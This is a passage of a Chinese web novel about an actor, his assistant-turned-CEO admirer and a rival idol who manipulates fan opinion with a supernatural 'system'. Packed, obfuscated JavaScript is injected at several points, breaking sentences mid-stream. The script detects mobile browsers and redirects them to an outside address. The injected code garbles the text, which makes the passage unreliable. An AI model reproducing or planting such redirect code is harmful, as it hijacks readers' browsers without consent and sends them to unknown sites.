RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160099|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你抖什么。” 傅宴容毫无征兆地开口。 他盯着这个目光躲闪的不速之客,苍白的脸上没有任何血色,眼中恶意湿滑阴冷,如同一条从地底爬出来的美人蛇,让人不寒而栗。 燥热的空气好像瞬间冷了下来,助理指尖忍不住一抖,藏在袖口里的手机屏幕啪嗒一声掉在地上,露出相册里无数张偷拍的、傅宴容的照片。 扑通一声,他下意识地跪倒在地上,嗓音却死死掐紧,发不出一点声音。 他被这个场景吓到了。 傅宴容嗤笑了一声,抬腿把他的手机踢到旁边的衣柜深处,听不出情绪地命令道:“滚。” 人连滚带爬地走了。 这个助理是之前面试的时候进来的,他简历干净,履历优秀,近乎完美。 面试那天,傅宴容转着笔靠在桌前看着他和另外一个人的自荐书,疑惑地歪了歪头。 “宋临俞——” 那张几乎空白表上的名字被他漫不经心地念出,傅宴容拿笔尖点了点站在一边的少年,示意那个人走到面前来同自己说话。 宋临俞仍然穿着他那件洗得发白的T恤,干净整洁却略显拮据,只是神情略有不同。与那天在东钰楼下见到紧张又羞怯的样子不同,整个人已经带上了一种病态的凉薄,毫无血色,清冷又寡淡。 “你没有经历来应聘助理做什么?” 傅宴容偏头笑了笑:“缺钱?可我记得你好像说过还得上东钰的贷款。” “很缺钱。” 和其他面试者不一样,宋临俞在他面前半蹲下来,让坐着的傅宴容能够极其方便地俯视他。然后他仰起头,眼里那种苍白的执拗近乎满溢出来:“我现在很缺钱。你的经纪人说助理不看经验,只要讨你喜欢就能应聘,所以我来了。” “那你为什么觉得自己会讨我喜欢?” 傅宴容笑出了声,轻飘飘地伸出手摸了摸宋临俞毫无血色的侧脸,无辜地看着他:“看你好看?可你什么都不会啊。” “因为我喜欢你。” 宋临俞抬起脸,眸中郁色斑驳。 他一字一顿,宛若向中世纪的领主发誓一般承诺道:“因为我喜欢你,不论是角色还是人,所以愿意为你做任何事。” 这个回答有点突兀。 傅宴容收回手,笔尖戳了戳空白的纸页,思索了一会,才慢吞吞地道:“喜欢?喜欢我的人太多了,旁边的废纸篓里能捡出无数情感真挚的小作文。你的喜欢对我来说不值钱,并且没有意义。” 于是宋临俞就这么安静地看着他,看着他在另一张表上写了通过,然后看着自己的竞争对手欢天喜地地离开。 这一刻,宋临俞倏地垂下眼,掩去了眸中看不明晰的神色。 然后,他猛地被傅宴容用笔尖挑起了下巴。 “哇哦。” 傅宴容沉默片刻后,笑着感叹:“好漂亮的表情,嫉妒,愤怒,野心勃勃。” “我突然觉得我可以给你们一个试用期。毕竟,你用这个神情说愿意为我做任何事的样子,我比较感兴趣。” 傅宴容微微弯腰,似笑非笑地看进了宋临俞的眼底。 他缓缓启唇:“刚刚的话,再说一遍。” 墨色的圆珠笔头刺痛着卡在下颌,宋临俞却好像察觉不到墨色的晕染一样,掀起眼,无比认真地,连同语气都一样的重复了一遍自己的话。 …… 思绪回笼。 已经关上的门被轻轻打开,又被再次合上。 随着时间的推移,湿润腻滑的空气变得沉闷无比,潮湿的地下室内,仿佛下一秒就会起无数令人发麻的水潮。 傅宴容烦闷的啧了一声。 “你知道江铭为什么他们走吗?” 他抬起手,无比精准地掐住了那张靠近自己的脸。 “因为他们需要我自己处理一些不太好的欲.望。” 热季暴雨的潮.湿濡.湿了少年苍白的肌肤,让其握在手心时变得格外湿滑,宛若专门为傅宴容定做的某种发.泄玩具。 傅宴容缓缓收紧虎口,颇有闲情逸致地打量着那张眼帘低垂、无比乖顺的脸。 “所以,你过来的理由是什么?” 他笑眯眯地弯起眼,拉长尾音,漫不经心地重复了一遍自己的要求:“给我一个合理的解释,宋临俞。” “……不然我会很容易以为,你也很想来帮忙处理我的性/欲。” 11. 助理-p 爬在地下室砖缝里的青苔上无端透出潮意,老化短路的吊灯噼里啪啦地闪了一下,让本就泛黄的灯光又暗下去了一个度。 明明灭灭,影影绰绰。 傅宴容身上那件被汗湿的衬衫,早已因剧烈动作而崩开滑落,赤.裸光.滑的肌肉线条极其流畅有力,带着水色的纹理,在这泛着暧昧的暗示中若隐若现。 宋临俞盯着他看了许久,唇瓣不由自主地抿了一下。 傅宴容……是不是有点没出戏? 他想开口说话,可是傅宴容并不想听他解释。宋临俞被捏住的那块肌肤已经开始发涩发疼,下一秒,那张在视野中放大的,俯靠过来的那张脸,停在了宋临俞的唇畔。 温热的呼吸轻轻拂过他的脸侧。 “还不躲?”傅宴容低垂着眼看他,声音有点说不出来的沙哑。他漫不经心地舔了一下自己的唇瓣,像一只在打量猎物的不怀好意的猫,透出点戏谑。 “……我的事还没做完。” 宋临俞呼吸凝滞了一瞬,说出口的话僵硬得像从喉咙里挤出来的一样。 但他手上的动作却没因此停住,下一秒,傅宴容就感受到了冰凉的酒精棉覆上肌肤表面的凉意。 他松开按着宋临俞下颌的手,身体后仰,手撑在床边,然后半眯起眼,好整以暇地打量着蹲在自己身边的宋临俞。 原来他拿了个医药箱进来。 刚刚和梁靖言拍戏的时候,傅宴容是半跪在铁床上的,低腰牛仔裤在膝盖处做了破洞的效果,裸露出来的金属床架粗糙不平还有毛刺,把膝盖磨出点血很正常。只是那痛感太轻微,轻到傅宴容自己都没发现。 至于别人…… 说实话,一般人面对着一场将露不露、半遮半掩、暧昧刺激,还是傅宴容演的激情戏,确实很难把目光从他的脸和腰上移开。 傅宴容懒懒地动了动膝盖,让宋临俞手中的镊子扑了个空。 宋临俞疑惑地抬头看了他一眼,以为是自己碰到了哪里,于是又换了块棉花,调整了姿势低下头去重新给他上药。 傅宴容又坏心眼地动了一下。 宋临俞:…… 这么幼稚,认真的吗? 不过,现在的傅宴容倒是比刚刚更像他自己一点。 因为宋临俞莫名感觉他确实会做这种幼稚的事。 傅宴容看着眼前人再次抬起眼,有点威胁意味地看了自己一眼,低声道:“别乱动,不然会痛。” 其实宋临俞并不是那种非常柔顺的小白花长相,相反,他鼻梁高挺,嘴唇单薄,眉毛平直锋利,说话声音也有点冷,要不是因为身形太单薄,应该是很有威慑力的外貌。 看长相,他也不像那种会照顾人的人,更不像那种会随意听人使唤的类型。 所以傅宴容突然有些好奇,他歪了歪头,问宋临俞:“你欠了东钰多少钱,这么费力地讨好我?” 宋临俞和他对视片刻,良久,眼中神色多了些自己都没看出来的僵硬,晦涩又低暗。 他有些重地眨了下眼,随即低下头,不轻不重地念出一串数字。 傅宴容满不在乎地唔了一声,抬起手指腹轻轻摩挲着宋临俞略有些湿润的发丝,指尖在发尾绕了一圈,又松开:“怎么还有零有整的,我还以为是我手机验证码。” 这笑话实在没有同理心,但效果显著,至少宋临俞也自嘲地轻笑了一下,刚刚绷紧的肩背线条也因为这句话慢慢舒展了几分。 ——直到傅宴容继续乱动。 宋临俞忍无可忍地伸出手按住了他的腿,手指微微用力,以示警告。他掌心贴着傅宴容的膝盖,在感受到伤口周边粗糙的布料纹理,指尖又不自觉地蜷了一下。 “别动了,我说真的……” “你怎么这么凶?” 傅宴容没等他把话说完,就笑吟吟地恶人先告状。 “破皮了就是很痛啊,而且你之前还说什么喜欢我,现在就这么和我说话?” 宋临俞话音一窒,原本狭长的眼尾都不自觉地睁圆了。他唇瓣开合几下,好像不敢大声说话,卡壳了半天,指尖才捏紧镊子,轻声问:“对不起,很疼?” 当然……不疼。 破了点皮而已,家常便饭的事。前几场戏,傅宴容亲身上阵徒手干碎玻璃都只是收回来不耐烦地甩了两下,要是按现在这个标准,他当时能疼晕过去。 傅宴容觉得宋临俞有点好笑,不过他还是拿出了影帝级别的敷衍演技,十分随意地点了点头。 果不其然,宋临俞手足无措了。他拿着镊子的手在空中僵持住,硬是没敢擦第二下。 “我没给别人上过药……” 他低低解释着,话音里有种没做好的歉疚。片刻后,又笨拙地学着不知道从哪部电视剧里看来的片段,轻轻吹了吹伤口,再确认似的问傅宴容:“现在好一些吗?” 刚刚宋临俞说的那句话,不知道哪里取悦了傅宴容,反正他现在心情稍微好了点,没有再恶作剧的想法,于是大发慈悲地点了点头。 宋临俞于是又小心翼翼地吹了吹,把那块伤口消毒清理好,再贴上一个透明创可贴。 看他这么郑重其事,傅宴容眼尾很轻地弯了一下,几乎透不进光的黑眸静静凝视着宋临俞,好像把他圈在了一方曜石做的画框里。 片刻后,傅宴容笑着抬手,把那条盖在自己腰间的毛巾按在了宋临俞头顶。 视线骤然陷入黑暗,宋临俞本能地感到紧张和戒备,只是下一秒,他掀起雪白毛巾的一角,就对上了已经站起身、居高临下俯视着他的傅宴容的视线。 他愣了一下,低声问:“傅宴容?” “嗯。”傅宴容随意地应了一声,抬起手,打量了一下自己起身时不小心被酒精棉濡湿的指尖。 酒精挥发得很快,在这闷热的空气里,留下一片触手可见的冰凉。 傅宴容抬起手,不轻不重地用指腹擦过宋临俞的唇,然后故意地摩挲了一下。 指尖在唇角停留了一瞬。酒精的辛辣气味瞬间溢满宋临俞的鼻腔,甚至在唇角还带来几分说不出的刺痛。傅宴容愉悦地笑了起来,眼下那颗小痣闪烁的漂亮,好像是在报复之前那个没有亲上的吻。 然后,他砰地弹了一下宋临俞的额头,让整个人都僵住的宋临俞清醒过来。 “你实习期转正了,宋临俞,要好好加油为我工作到死哦。” 傅宴容笑眯眯地弯下腰,随后揉了一把宋临俞凌乱的黑发,难得心情还算不错地离开了片场。 …… / 申澜,新钰新闻总部。 工作人员们刚刚才根据上面的指示处理完造谣傅宴容的几家媒体,正兢兢业业地在各大平台巡视。 虽说老板刚刚发消息过来说傅宴容的事暂时不用管,但坐在工位前的某个工作人员看了一下电脑上某小组发的帖,还是有些犹豫地把链接转发给了自己的上司。 “老板,这个帖好像也和我们旗下的艺人有关,确定不管吗?” 屏幕上,回帖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160100|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人数还在不断增加。 「李涛:速躺和敷衍什么关系?《隐面》这个大饼怎么就落在他身上了?」 「?lz花名打的也是奇特,不说我都没看出来是苏/唐和傅/宴/容」 「哪里奇特了,六年前敷衍在我组就叫这名字了,只是他不回国懒得讨好不好」 「你也知道他这么久没回国?你觉得他能和某“新晋顶流”扯上什么关系?要造谣你好歹编点证据出来吧。」 「谁说我没证据?别逼我真放猛料」 「谁信你有?要放早放了ok?再说真有你不会高价卖给工作室?闲得发慌吗来这里发帖」 「呃,但是这里面确实很不对劲啊。隐面这个饼不是老早就开始筹备了吗?东钰全程投资,导演没拿大奖的不要,江铭周让徐瑾年,统共就这几个人全挑了一遍,剧本还是个打擦边球的双男主,可见有多想火」 「对啊,男一的饼确实没什么人争,毕竟要找人做噱头,论资历就那么几个。但是男二那几个00生全都抢疯了好不好?我刷个短视频不是几个丑人抢着麦麸就是对家黑料满天飞,屏蔽都打不完」 「敷衍是男一能理解吧,毕竟手里大奖多,之前背后资源听说靠的也是东钰,结果速躺这个还在搞唱跳的转型成电影咖了,队友怎么想?」 「到底谁眼瞎选的速躺那个fw?」 「???楼上举报了,对我们糖人身攻击什么意思?我是傅宴容路人粉,谁都知道他对同事的挑剔,我们糖不能是靠实力?」 「我去,楼上一分钟上赞999,你们粉丝疯了吧,小糊组也举报?」 「我们糖,但是路人粉」 「笑死,没实力就没实力呗,糖只需要貌美就好了,自有人捧着给他送资源。我们糖背后也是东钰,谁还不是个太子爷?说不定这片子还是傅宴容求着他演的呢。」 「。。。。速躺姐收敛点吧,惹到傅宴容粉丝你们算完了我说真的,她们之前撕碎陈佑宁的战绩组里还有遗迹,简直寸草不生一片死寂。。」 「白日梦少做点,傅宴容只是出国了不代表他水土不服爱吃猪头肉了」 「好骂,敷衍姐加油好吗别让速躺姐再举报我了」 …… “系统?!” 看着飞速盖起来的帖子,原本趴在沙发上玩手机的苏唐坐不住了。操控舆论卖惨是玩转粉圈最基本的事,而为了把自己打造成顶流大明星,这种事当然都是万人迷系统代劳,只要哪家粉丝惹得苏唐不快,系统就会带领粉丝冲锋陷阵。 可是没想到今天这个帖子走向越来越不对,并且大有一直歪下去的趋势。 苏唐提高声音,再次叫道:“万万!我忍不了了!” “不要急糖糖。”万人迷系统把常规的电子声音切换成优雅气泡男声,熟练地安抚着委屈的苏唐,轻声说:“我们的目标是炒你和傅宴容的cp。前期他的粉丝跳得越高,后期被打脸成cp粉才更爽不是吗?” 苏唐咬着唇:“那好吧,但是你不能让他们再骂我了,以前他们都是叫我公主殿下大小姐的,我才不要叫什么速躺。” 万人迷系统没再说话,只是操控帖子的楼主出来发言。 「好了,你们别吵了,有些人也别破防,我说有证据就是有证据。苏唐能演隐面,傅宴容绝对出了力。」 「视频链接:(银湖酒店走廊,一个看不清脸的男子抱着苏唐进入2901)」 「图片链接:主办方客房安排,2901——傅宴容」 12. 澄清 银湖酒店的监控系统一经抛出,原本只在单一平台持续发酵的帖子就瞬间被热转了起来。 「傅宴容苏唐」这两个挨在一起的名字,连同那段模糊不清的视频和照片,十分迅速地登上了热搜第一。 「《隐面》男一男二似乎确定!苏唐与傅宴容同进房间,是否私下另有隐情?」 …… 接连不断的@和评论私信塞爆了傅宴容的账号。原本靠着沙发看剧本的傅宴容扫了一眼屏幕不断亮起的手机,慢慢地笑了一下,懒懒道: “看来比前助理更惹人烦的,是前助理的青梅竹马。” 自救系统趴在他脑海里眨巴眨巴眼睛,疑惑地问:“谁?宿主,你在说苏唐吗?” 傅宴容随意地应了一声,点进词条,顺手转发了一条微博发给了助理小孙。 「抱着苏唐的人根本不是傅宴容好不好?我哥什么时候会穿这种小学生卫衣,并且一晚上凭空消失十厘米,还没有下颌线?一看就是助理或者其他人好吗?走错房间或者有误会都很有可能,能不能等本人出来辟谣?」 对话框对面很快发来了六个点。 sun:“老板,你应该是来提醒我干活,而不是来嘲笑我的吧?” acqua:“是来提醒你下次别穿小学生卫衣。” 当然,这条微博下面的评论里,傅宴容的粉丝和苏唐的粉丝正打得不可开交。 苏唐的粉丝理直气壮地说:“就算不是傅宴容本人,那扶进他房间还能有假吗?我们糖糖好心去看一下前辈的接风宴,却被觊觎甚至潜规则。不敢想那天晚上,傅宴容面对睡眼朦胧、小嘴一张一合的糖糖,把持不住做了什么!!” “怪不得我们糖这几天都没出来露面,傅宴容必须对此道歉并负责!我们是不会让这样的女婿进家门的!!糖糖的幸福就由我们来守护!” 对此,傅宴容的粉丝有种和非人生物交流的无力感。她们只能贴出几张苏唐出道时综艺里睡眼朦胧的截图,表示没人会对龇着大牙、大口呼吸的一条魔鬼鱼有非分之想,尤其是傅宴容。 小孙给那条评论默默点了个赞,毕竟那天晚上他就是这样被苏唐“摧残”的。 然后,他登上自己的助理微博账号,详细描述了当晚傅宴容让自己“好心”把苏唐送回房间,又特地再开了一间房这件事。 自救系统小声对傅宴容说:“宿主,按剧情来说,这次的事情应该是宋临俞出手把热度压下去。然后苏唐的粉丝成功转移视线,开始嗑苏唐和他背后的神秘大佬……最后大众的视线会从你身上移开,你可以不表态。” “我不是让你忍气吞声。”自救系统垂头丧气道:“我是怕苏唐再对你做那天那样的事。很抱歉,是我们没有调查清楚,原文里苏唐是不应该拥有那种高纬度外挂的。” “不,这样反而合理,否则我想不出以苏唐的脑子,要怎么在这个娱乐圈‘搅弄风云’。” 说完,傅宴容停了一下,才对自救系统说:“不用担心。就像你并没有什么用一样,苏唐手里的外挂,或者说系统,也一定不会全知全能。” “我猜苏唐要想利用它,就必须付出一定的代价,而只要是代价,就总有支付不起的那一天。” “真的吗?” 自救系统的电子眼瞪得亮晶晶的,选择性忽略了自己没用这件事,用一种崇拜的目光看着傅宴容。 它心想,怪不得局里的高级系统前辈们都语重心长地说宿主靠谱很重要,今日一看果然如此! 随后,系统又虚心求教:“宿主,你是从哪里看出这一点的?” 傅宴容:……不哪里都是这一点吗? 他看了一眼自救系统挤出来的崇拜豆豆眼,叹了口气,说:“这个世界的剧情不是和那本书完全不一样吗?宋临俞要真是什么霸道总裁阴郁性冷淡的主角攻,那天晚上还至于上赶着给我——” “给你什么?” 自救系统求知若渴。 傅宴容十分淡定地把话咽了回去,笑了笑,说:“未成年没必要知道。” “时空管理局不雇童工!” “知道了。总之,用对我们来说无伤大雅、但对苏唐来说严重的剧情失误试探他就行。”傅宴容低下头转发了小孙的澄清微博,淡淡地说:“等他付不起改变剧情的代价时,就送他去死。” 傅宴容说这话时显得云淡风轻,好像只是开了个无伤大雅的玩笑,可是自救系统却有种他认真的感觉。 于是它换了话题,问:“宿主,原文说这次纯粹是酒店内部工作人员爆出来的视频,苏唐在这个时间点本来不想和你扯上关系,却只能被全网嗑CP。就算我们澄清,也不算严重的剧情失误吧?” “哪来的工作人员。”傅宴容笑了笑:“那天晚上酒店的监控绝对都被宋临俞删了。以他做事的方式,只会在自己手里备份,而不会让人流出去。” “能发这段视频出来的人,只有带着系统的苏唐本人。” “原来是这样。所以,苏唐其实很想和宿主你扯上关系……?” 自救系统看着傅宴容澄清后还在嘴硬的苏唐粉丝,刷新了自己对“不乐意”三个字的认知。 苏唐的粉丝表示,这条微博只是危机公关出来糊弄人的,就算再开了一间房有房卡记录又怎样?你敢保证傅宴容一晚上都在自己房间里?他没从助理那儿拿到房卡闯进我们糖糖的房间为非作歹?! 这条微博的热评:“造谣自己正主被潜规则是什么新型爱他的方式吗?第一次见蹭热度拉踩得这么恶心的对家,傅哥你真该去踩一下小人了。” 苏唐的粉丝不屑一顾,她们截取出傅宴容回国第一条微博的发送时间,相加相乘再相除,最后开个平方,经过数次演算,终于得出了苏唐的生日。 于是她们广而告之:“我就说傅宴容偷偷暗恋我们糖糖!” 这下真有路人锐评了,他们说中国的数学家不在课堂,而在苏唐超话。 但仍挡不住一群CP粉应运而生,嗑得死去活来。 只是这个CP粉C得可能不是很端水。 还好傅宴容的粉丝战斗力非人可比。在正主默默给那条“踩小人”评论点赞后,粉丝们抱着“休动我儿,禁止人口拐卖”的怒气,将苏唐的粉丝连同那群披皮CP粉宰了个干净。 苏唐的广场和超话如今十分不堪入目。粉丝一边骂傅宴容不知好歹,一边继续尝试给人洗脑,奈何并没有多少正常人愿意入坑。 “系统!”苏唐把怀里的抱枕甩在地上,怒道:“不是说全网嗑CP吗?全是我的丑照和黑称是什么意思?!” “还有傅宴容点赞评论是想干什么?他睡了我还敢说我是小人?!他凭什么阴阳怪气我!” 苏唐崩溃地把手机扔到一边,死死揉着自己的鸡窝头,越想越气,越气越恶心。 万人迷系统沉默片刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160101|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,竭力安抚:“没关系,这个阶段你是被强迫的,本来也不喜欢傅宴容,再加上有宋临俞的存在,你们一直都是欢喜冤家的关系。” “你和他真正开始走暧昧路线,是《隐面》拍戏的后期,不用着急。而且现在这个阶段,大家要嗑的,是宋临俞出手按下你的热搜后,神秘大佬吃醋的剧情。” 万人迷系统娓娓道来,把苏唐哄得一愣一愣的。他看着那些照片和评论,眼眶气得充血,但又没有什么办法,只能照系统说的做。 苏唐咬咬牙,捡回手机切到宋临俞的对话框,打出一串卖惨的文字。 “临俞哥……你看到热搜了吗?我和傅宴容真的没什么关系,我不想被他的粉丝那样说……也不想被他网暴……” “你相信我吗?” “你可以帮帮我吗?我不愿意再被误会了。” 他文字发到一半,还特意挤出哭腔发了两条长语音,想让宋临俞心疼。 只是对话框那边久久没有回音。 东钰的会议室里,一只瘦削而修长的手指握住了正不停收到消息的手机。宋临俞翻过来淡淡地看了一眼,再次熟练地将苏唐的对话框拽进了免打扰。 秘书停下来,低声问:“宋总,需要再等您十五分钟吗?” “不用,他不重要。” 宋临俞示意秘书的汇报继续,顺便抽空扫了一眼苏唐发过来的截图。 是傅宴容点赞的那条热评,只是相比这个,下面傅苏CP的词条格外显眼难看。 宋临俞不动声色地把手机攥紧了一点,掌心红痕上脆弱的软肉还没消失,就又多了几分让人无比清醒的疼痛。 他慢吞吞地磨了磨牙,心想如果傅宴容也不喜欢苏唐,那自己澄清应该不会继续被讨厌吧…… 会吗? 可是他说不想想起我。 苏唐和我谁更讨厌? 苏唐吧,一定是苏唐吧? 好烦。 苏唐为什么一直要缠着他? 我为什么要和苏唐比?他也配和我比? 好烦好烦好烦好烦。 但是我答应要听话了,我不可以再骗他。 ……无数个杂乱的念头在宋临俞的脑海里交织。他滑出苏唐的对话框,切到相册,在看到那条被剪辑好的视频后,忍无可忍地扣下了手机。 秘书被他的动作吓了一跳,抱着文件低声问:“刚刚是哪里有问题吗……?” “没有。”宋临俞按了按眉心,咽下喉间的一点干涩,十分平静地说:“听到了,直接念第一季度后面那段。” “好。” 在秘书轻声细语的汇报中,没有退出的视频自动开始播放。已经被删除的监控里,傅宴容站在宋临俞门前,垂眸低声说着什么。 他说话的表情很正常,只是很快,腰上就轻轻贴上了某个人的手。 袖口挽起到小臂,湿润的布料勾勒出手臂线条,就这样紧紧地圈着傅宴容的腰,把他往里带。 随后,模糊不清的人影就从门边消失,虚掩的门扉应声关闭,走廊上不再出现任何人影,直到第二天清晨。 …… 十分钟后,收到宋临俞指示的新钰新闻开始全平台处理傅宴容和苏唐的热搜问题。除了傅宴容那条被质疑的澄清微博,一切痕迹都消失得干干净净。 与此同时,银湖酒店的官方微博也发布了一条澄清,并且,同样带上了视频。 13.霁月岚庭 在酒店官方发布澄清声明之前,苏唐的粉丝对于CP讨论被压下去的事情,是十分喜闻乐见的。 众人都清楚,如此大规模且快速的清理舆论,背后一定有资本的力量在运作。而有好事者对照着万人迷系统爆出来的酒店宾客名单,一个个翻找,很快就找到了宋临俞的名字。 宋临俞,东钰集团董事长兼CEO,是苏唐所属的星钰娱乐公司的直属上司。再加上之前总有媒体拍到苏唐进出东钰办公楼的图片,苏唐的粉丝几乎笃定自家正主背后有所谓的“金主”捧着。 毕竟他们自己也清楚,单凭苏唐的实力,不动点手脚,很难硬捧上如今顶流的位置。 但所谓“不以为耻,反以为荣”,粉丝相当自得苏唐有这么个金主宠爱,甚至早就舞起了CP。就连之前在苏唐粉丝口嗨的“傅苏”CP里,傅宴容往往都得被宋临俞横刀夺爱,然后狼狈追妻。 只是,这场在苏唐粉圈里即将开始的狂欢才开了个头,就被银湖酒店官方发的视频一盆冷水浇灭了。 申澜银湖V:「泄露个人信息的员工已处理,在此向无辜卷入谣言的傅宴容先生@傅宴容与苏唐先生@苏唐致歉。酒店补偿我们稍后会与工作人员洽谈,以下是当晚视频澄清。」 链接是实拍的全楼层大屏监控器视频,只有飞速拉动的进度条,没有剪辑。可以看出,傅宴容原来的房间里,除了苏唐和捧着芒果的小孙,直到凌晨都没有人进出。 问题是,旁边的房间也没有人。 于是,下面有人疑惑发问:“我相信你们没在这个视频里动手脚,但是傅宴容人呢?” 有人回复:“也许,如果我没看错的话,监控器最上层没糊清楚的马赛克,能看出来是傅宴容?” 他把视频放大截图出来,画了个圆圈。 视频打码如果比较敷衍,容易有几帧的缺漏,再加上傅宴容穿搭色块十分明显,这位“当代列文虎克”很快就锁定了傅宴容的动线。在对照那份爆出来的房间名单后,他表示,傅宴容晚上去的就是宋临俞的房间。 去了还不止,关键是他好像压根没出来……? 这就有点微妙了。 苏唐粉丝舞的金主包养小明星甜宠之路折戟沉沙,但他们仍然不太相信,给苏唐拉的两个优质1居然能和平共处一晚上,而且看起来关系还不错。 这下,傅宴容的粉丝还没思考出要不要把这个消息压下去,苏唐的粉丝就擅自“维权”上了。 软糖:「@银湖你们澄清不放律师函,放监控记录是什么意思?故意炒CP?手段这么下作。」 「?速躺姐无视律师函造谣的时候还少吗?一直在造谣的不是你们吗?现在破防是为什么?」 「谁破防了?我问你谁破防了?我们很在乎傅宴容和宋临俞这两人的事吗?我们唯爱糖糖!!」 「平A两句,你把大招都交了,乐。」 …… 讨论愈演愈烈,从一开始的维权澄清,到唯粉打架,从CP怎么磕,到具体磕哪对,粉丝纷纷下场,路人也在兴奋地看热闹。 只是很快,带着律所公章的律师函就贴心地送到了苏唐那几个大粉手上,且傅宴容工作室还亲切地表示,不会因为是未成年就放过你们,每个人都要对自己说的话负责,无论是在现实还是网络。 苏唐的粉丝忙不迭切割CP粉圈,以免引火上身。双方狗咬狗,又内讧了一顿,话术满天飞,其他家的粉丝隔岸观火,也算看了一出好戏。 不过,最后终结讨论的,是一个百年没说过话、宛若新号,但挂着东钰集团官方蓝V的宋临俞账号的发言。 他其实也没发言,只是很平常地转发了银湖的澄清视频。 ——这已经足够表达态度。 苏唐的粉丝不得不偃旗息鼓,连带着他本人也只能愤怒地在房间里破防,质问系统为何剧情不按套路出牌。 如果又要利用道具…… 只是他现在的积分再花在这种网络舆论上,真的太不划算了。 万人迷系统沉吟片刻,低声对苏唐说:“我总觉得傅宴容和宋临俞可能有点问题。” “先放着他们,你从别人手上拿到积分兑换道具以防万一,至于为什么剧情出现偏差,到时候再看——” 万人迷系统自认为计划天衣无缝,只是它没料到,仅仅因为这次下达指示时语气太过冷淡,苏唐就把正事抛到了九霄云外,不他甚至还调转矛头,在房间里与系统大吵起来,闹得一顿鸡飞狗跳。 而真正处在漩涡中心的傅宴容,却并没有再关注这件事。 他没有在乎宋临俞的澄清,也没有在意苏唐粉丝的破防,连律师函的事都没多问一句。 他在看杨婉发来的消息—— “靖言今天回大陆拍戏,说请我们吃顿饭,时间凑巧就定在今晚,地方正好选了你的霁月岚庭,你来吗?” 傅宴容懒懒地扫了一眼,回了个“嗯”,又补了一句:“我自己过去。” 他起身,穿外套下楼。 公寓地下一层是傅宴容的私人车库,年轻的时候他总喜欢玩点出格的,如今灯光唰的打下来,几十辆赛级跑车的冷白金属光泽闪得人眼晕。 傅宴容抬起眼,目光越过那几辆显眼的跑车,停在最旁边的帕加尼Huayra BC Roadster上。 这车他没开过一次,因为是走的那年宋临俞送的,全球限量款,花了不少心思定制,还专门配了他最喜欢的灰蓝色内饰,连钥匙都刻了名字的缩写。 傅宴容盯着那辆车看了几秒,神色未动,只把手里的钥匙抛了抛,又转向另一侧,开了辆银灰色的阿斯顿马丁出门。 引擎点火的声音干净利落,他脚下踩稳油门,一路疾驰上山。 霁月岚庭山庄离澜庭公寓不远,两地都是傅宴容继承下来的名下财产。山庄建在半山腰,三面环林,一面临湖,名字取自古辞,听着风雅,实则背后砸了不少钱打造。 山庄很早就开始营业,对外开放,但门槛极高,会员制,单次消费都要过百万,来往的不是商界新贵,就是影业明星。表面是度假,私下里各怀心思,谈生意、换资源、打听消息,纸醉金迷里周旋着无尽延伸的利益网。 傅宴容只持股,经营自有职业经理人来考虑。也因此,很多人都只知道真正的主人不露面,不知道霁月岚庭的老板是傅宴容。 想到这里,傅宴容猛地踩下刹车,停在了山庄门前。 泊车员认出他的车,立刻迎了上来,恭敬地说:“傅先生,梁先生和几位朋友已在湖边会所等您。” 梁靖言倒是订了个好地方。 傅宴容笑了笑,把钥匙递过去,迈步往湖边走。远处坐落的庭院私密又敞亮,靠山临湖,落地窗外几株老树被风吹得摇曳,天色未暗,水光掩映着些许浮动的暖色灯火。 傅宴容推门进去的时候,包间里已经坐满了人,靠窗的位置正是杨婉和梁靖言,旁边还多了个生面孔的小明星。 “来晚了,不能怪我信息发晚了啊,我忙着在网上吃瓜呢。”杨婉看到他,立刻端起酒杯开了个玩笑。 在座的对营销手段都了如指掌,也都以为今天的热搜是在给傅宴容和苏唐的《隐面》造势,很默契地笑了几声。 梁靖言立马站起来:“傅哥来得最晚,今晚这桌你得先罚三杯。” 傅宴容唇角挑了挑,懒得推脱,走过去把手里的外套随手搭到椅背,低头拿过桌上一只杯子,轻轻一晃,仰头尽数喝完,再反扣过来亮了下杯底。 众人起哄着说要再给他满上,只是坐在梁靖言旁边那个小明星抢先起身,拿着酒浅浅地给他倒了半杯,还挤出一点讨好的笑。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170107|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 傅宴容的视线在那个小明星身上停了停,随即屈指弹了一下杯壁,用不咸不淡的语气命令了一句:“倒满。” 